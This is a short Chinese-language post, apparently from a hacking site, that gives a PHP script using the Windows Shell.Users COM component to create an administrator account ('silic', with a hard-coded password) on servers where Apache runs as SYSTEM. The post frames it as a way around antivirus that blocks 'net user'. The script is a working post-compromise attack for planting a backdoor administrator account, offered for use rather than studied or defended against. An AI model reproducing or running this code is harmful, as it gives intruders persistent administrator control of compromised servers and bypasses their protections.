php使用shell组件添加管理员账户

Apache+PHP的组合常常会遇到因为管理员是菜逼,而设置Apache为SYSTEM的情况。
因为服务器杀软的原因,也会经常遇到不能使用net user直接添加账户的情况。

cscript可以用vbs调用shell.user创建管理员,php使用同样原理添加账户

<?php
echo "<center>Shell.Users组件添加管理员</center>";
$shell = new COM("Shell.Users");
$cmd = $shell->create('silic');
$cmd->changePassword('13579@silic#',"");
$cmd->setting["AccountType"] = 3;
?>